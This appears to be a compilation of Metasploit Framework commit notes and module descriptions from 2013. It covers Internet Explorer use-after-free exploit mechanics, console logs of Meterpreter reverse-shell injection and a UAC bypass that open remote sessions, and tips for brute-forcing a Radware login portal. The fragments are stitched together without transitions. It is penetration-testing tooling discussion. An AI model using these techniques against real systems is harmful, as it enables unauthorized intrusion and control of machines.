I didn't even realize we already added this in server.rb. So instead
of just escaping the OS parameter, we also encode the data in base64.
I also added prependmigrate to avoid unstable conditions for the payload.
* Period at the end of a description.
* Methods shouldn't be meth_name! unless the method is destructive.
* "Setup" is a noun, "set up" is a verb.
* Use the clunky post module naming convention.
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
ms12_020_maxchannelids.rb produces a call stack when the connection is timed out.
To reproduct, just run the module against a system having no RDP enabled.
- Documented fields in the several tables;
- Fixed the "remote" field location on the fs_table (changed due to REXML parsing);
- Fixed Total Memory field on os_table (bug?);
* Random filename
* Stop shipping debug strings to the exploit executable
Also makes the writable path configurable, so we don't always have to
use /tmp in case it is mounted noexec, etc.
Added support to specify multiple payload delivery options.
msf post(payload_inject) > show options
Module options (post/windows/manage/payload_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
AMOUNT 2 no Select the amount of shells you want to spawn.
HANDLER false no Start an Exploit Multi Handler to receive the connection
LHOST XXXXXXXX yes IP of host that will receive the connection from the payload.
LPORT 4433 no Port for Payload to connect to.
OPTIONS #<Msf::OptInt:0x007f5c6439c6d8> no Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.
PAYLOAD windows/meterpreter/reverse_tcp no Windows Payload to inject into memory of a process.
PID no Process Identifier to inject of process to inject payload.
SESSION 1 yes The session to run this module on.
msf post(payload_inject) > set HANDLER true
HANDLER => true
msf post(payload_inject) > exploit
[*] Running module against XXXXXXXX
[*] Starting exploit multi handler
[*] Performing Architecture Check
[*] Started reverse handler on XXXXXXXX:4433
[*] Starting the payload handler...
[*] Process found checking Architecture
[+] Process is the same architecture as the payload
[*] Injecting Windows Meterpreter (Reflective Injection), Reverse TCP Stager into process ID 884
[*] Opening process 884
[*] Generating payload
[*] Allocating memory in procees 884
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[*] Sending stage (770048 bytes) to XXXXXXXX
[+] Successfully injected payload in to process: 884
[*] Performing Architecture Check
[*] Process found checking Architecture
[+] Process is the same architecture as the payload
[*] Injecting Windows Meterpreter (Reflective Injection), Reverse TCP Stager into process ID 884
[*] Opening process 884
[*] Generating payload
[*] Allocating memory in procees 884
[*] Allocated memory at address 0x00ba0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected payload in to process: 884
[*] Post module execution completed
msf post(payload_inject) > [*] Meterpreter session 2 opened (XXXXXXXX:4433 -> XXXXXXXX:2962) at 2013-10-09 21:54:25 -0400
[*] Sending stage (770048 bytes) to XXXXXXXX
msf post(payload_inject) > [*] Meterpreter session 3 opened (XXXXXXXX:4433 -> XXXXXXXX:2963) at 2013-10-09 21:54:27 -0400
Ran into a pentest recently where I had a flaky meterpreter shell, had it launch multiple ones just to be safe. The amount datastore allows you to iterate through and spawn multiple sessions.
msf exploit(psexec) > use post/windows/manage/multi_meterpreter_inject
msf post(multi_meterpreter_inject) > show options
Module options (post/windows/manage/multi_meterpreter_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
AMOUNT 1 no Select the amount of shells you want to spawn.
HANDLER false no Start new multi/handler job on local box.
IPLIST XXXXXXXXX yes List of semicolom separated IP list.
LPORT 4444 no Port number for the payload LPORT variable.
PAYLOAD windows/meterpreter/reverse_tcp no Payload to inject in to process memory
PIDLIST no List of semicolom separated PID list.
SESSION yes The session to run this module on.
msf post(multi_meterpreter_inject) > set AMOUNT 5
AMOUNT => 5
msf post(multi_meterpreter_inject) > set HANDLER true
HANDLER => true
msf post(multi_meterpreter_inject) > set SESSION 1
SESSION => 1
msf post(multi_meterpreter_inject) > exploit
[*] Running module against XXXXXXXXX
[*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp
[+] Multi/Handler started!
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 5400
[*] Injecting meterpreter into process ID 5400
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 5400
[*] Meterpreter session 2 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4991) at 2013-10-09 18:04:02 -0400
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 4136
[*] Injecting meterpreter into process ID 4136
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 4136
[*] Meterpreter session 3 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4992) at 2013-10-09 18:04:08 -0400
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 4108
[*] Injecting meterpreter into process ID 4108
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 4108
[*] Meterpreter session 4 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4993) at 2013-10-09 18:04:13 -0400
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 5788
[*] Injecting meterpreter into process ID 5788
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 5788
[*] Meterpreter session 5 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4994) at 2013-10-09 18:04:19 -0400
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 1408
[*] Injecting meterpreter into process ID 1408
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 1408
[*] Meterpreter session 6 opened (XXXXXXXXX:4444 -> XXXXXXXXX:1029) at 2013-10-09 18:04:24 -0400
[*] Post module execution completed
msf post(multi_meterpreter_inject) >
The new changes when calling uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') breaks UAC on Windows 7 and Windows 8 and shows that UAC is not enabled when it is:
Here is prior to the change on a fully patched Windows 8 machine:
msf exploit(bypassuac) > exploit
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[-] UAC is not enabled, no reason to run module
[-] Run exploit/windows/local/ask to elevate
msf exploit(bypassuac) >
Here's the module when running with the most recent changes that are being proposed:
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[!] Could not determine UAC level - attempting anyways...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Sending stage (770048 bytes) to 172.16.21.128
[*] Meterpreter session 6 opened (172.16.21.156:4444 -> 172.16.21.128:49394) at 2013-10-05 15:49:23 -0400
meterpreter >
With the new changes and not having a return on when 0 (will not always return 0 - just in certain cases where you cannot query) - it works.
This module scans for Radware AppDirector's web login portal, and performs login brute force to identify valid credentials.
- mstidy.tb & retab.rb run done
- stop_on_success is set to true. Important, otherwise the app starts dropping bf source.
- slowing down brute force speed seems to work though, but can take a long time if more creds to check &| more targets
- better to run bf with 2-3 creds against range, & then come back with more creds if needed
See http://www.ruby-doc.org/core-1.9.3/String.html#method-i-3C-3C
Apparently, String#<< uses Integer#chr, not Integer#to_s. News to me.
Fixed originally by @TsCl in PR #2435, but fixing seperately in order to
avoid screwing up his downstream tracking. Note, this isn't a merge, so
using Closes tag on the commit message.
[Closes#2435]
ms12_020_maxchannelids.rb produces a call stack when the connection is timed out.
To reproduct, just run the module against a system having no RDP enabled.
This module exploits a use-after-free vulnerability that currents
targets Internet Explorer 9 on Windows 7, but the flaw should exist in
versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but
other regions such as English, Chinese, Korean, etc, were targeted as
well.
The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function
handles a reference during an event. An attacker first can setup two
elements, where the second is the child of the first, and then setup a
onlosecapture event handler for the parent element. The onlosecapture
event seems to require two setCapture() calls to trigger, one for the parent
element, one for the child. When the setCapture() call for the child element
is called, it finally triggers the event, which allows the attacker to cause
an arbitrary memory release using document.write(), which in particular frees
up a 0x54-byte memory. The exact size of this memory may differ based on the
version of IE. After the free, an invalid reference will still be kept and pass
on to more functions, eventuall this arrives in function
MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary code execution)
when this function attempts to use this reference to call what appears to be a
PrivateQueryInterface due to the offset (0x00).
To mimic the same exploit found in the wild, this module will try to use the
same DLL from Microsoft Office 2007 or 2010 to leverage the attack.
Otherwise, things parsing through the loot table will treat it as binary
data, and not display it in a normal texty way, even though it's totally
readable with just a little squinting.
Tod Beardsley
sinn3r
jvazquez-r7
MrXors
Meatballs
William Vu
kaospunk
joev
Icewall
Joe Barrett
darknight007
James Lee
Bruno Morisson
pyoor
bcoles
trustedsec
Spencer McIntyre
David Maloney
Rob Fuller
Brandon Perry
xistence
Karn Ganeshen
Tabassassin
Brandon Turner
TecR0c
FireFart